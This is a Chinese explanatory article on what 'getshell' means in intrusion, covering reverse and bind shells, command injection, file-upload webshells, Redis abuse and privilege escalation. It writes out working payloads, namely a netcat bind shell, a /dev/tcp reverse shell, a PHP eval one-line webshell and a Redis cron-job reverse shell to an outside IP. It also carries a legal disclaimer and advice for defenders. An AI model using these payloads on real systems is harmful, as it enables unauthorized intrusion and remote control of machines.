什么是getshell
什么是getshell
“getshell”这个词在安全圈里出现的频率极高,但外行第一次听往往一头雾水。字面意思就是“获得shell”——shell是操作系统的命令行界面,你敲命令它执行。所以getshell说白了,就是让目标机器听你的话,你能在上面执行系统命令。不是弹个计算器那种演示,而是实打实地控制。
很多人把getshell和“入侵成功”画等号。严格来说,它只是入侵过程中的一个里程碑,但确实是最关键的那个。拿到shell之前,你可能只能读数据库、传文件、或者利用某个漏洞执行单次命令;拿到shell之后,整台机器的文件、进程、网络连接、甚至内网其他机器,都向你敞开了大门。我见过有人拿到webshell后只会上传个探针,也见过有人从一台破路由器一路摸到核心域控——区别就在于对shell的利用深度。
那shell到底长什么样?常见的有两种。一种是反弹shell:攻击者在自己机器上监听端口,目标机器主动连回来,把命令行的输入输出重定向到这条网络连接上。你这边看到的就是一个黑框,敲whoami,对面回一个www-data。另一种是正向shell:目标机器开个端口等你连,比如用nc -lvp 4444 -e /bin/bash,然后你nc 目标IP 4444就上去了。实际场景里反弹shell更常用,因为目标机器往往在防火墙后面,正向连不进去。
那怎么才能拿到shell?路径多得数不清。最粗暴的是命令注入:某个功能把用户输入直接拼进系统命令里执行。比如一个ping工具,你输入127.0.0.1; cat /etc/passwd,它不光ping,还顺便把密码文件读出来给你看。如果权限够,直接127.0.0.1; bash -i >& /dev/tcp/你的IP/4444 0>&1,shell就到手了。这种漏洞在老旧设备、IoT固件里一抓一大把。
更常见的是文件上传漏洞。网站让你传头像,你传个shell.php,内容是一句话木马:<?php @eval($_POST['cmd']);?>。如果服务器没做严格校验,这个文件就躺在web目录里了。用中国菜刀或者蚁剑连上去,你就能在web目录里翻东西、执行命令。这算webshell,严格说不是完整的系统shell,但很多人也管它叫getshell。区别在于:webshell受限于web服务进程的权限,通常权限较低;而真正的系统shell可能通过提权拿到root。
还有反序列化漏洞、缓冲区溢出、弱口令、Redis未授权等等。拿Redis举例,如果6379端口对外且没密码,你可以直接连上去,写个SSH公钥到/root/.ssh/authorized_keys,然后ssh登录——这也是一种getshell,而且直接就是root。我印象很深的一次,某云服务商的内网Redis大面积暴露,攻击者批量写计划任务反弹shell,一夜之间几千台机器沦陷。细节不复杂,就是redis-cli -h 目标 set x "\n* * * * * bash -i >& /dev/tcp/1.2.3.4/8080 0>&1\n",然后config set dir /var/spool/cron/,config set dbfilename root,save。完事。
拿到shell之后呢?第一件事通常是提权。你可能是www-data,想变成root。查内核版本、找SUID文件、看计划任务、翻配置文件里的明文密码。Linux提权的方法能写一本书,Windows也类似——用whoami /priv看权限,用systeminfo找补丁缺失,用accesschk查服务权限。提权成功那一刻,才算真正把机器捏在手里。
不过得说清楚,getshell不等于合法。未经授权的测试就是犯罪。我写这些不是教人搞破坏,而是让你明白防守方在防什么。你是个运维,看到日志里有人反复请求/shell.php,或者Redis里多了个奇怪的key,就该知道出事了。安全这行,懂攻击才能做好防御。
最后提一嘴:很多人以为getshell是终点,其实它只是起点。真正的渗透测试里,拿到shell之后的内网横向、权限维持、痕迹清理,才是重头戏。而对企业来说,一台机器被getshell,往往意味着整个内网都悬了。
```(责任编辑:百科)














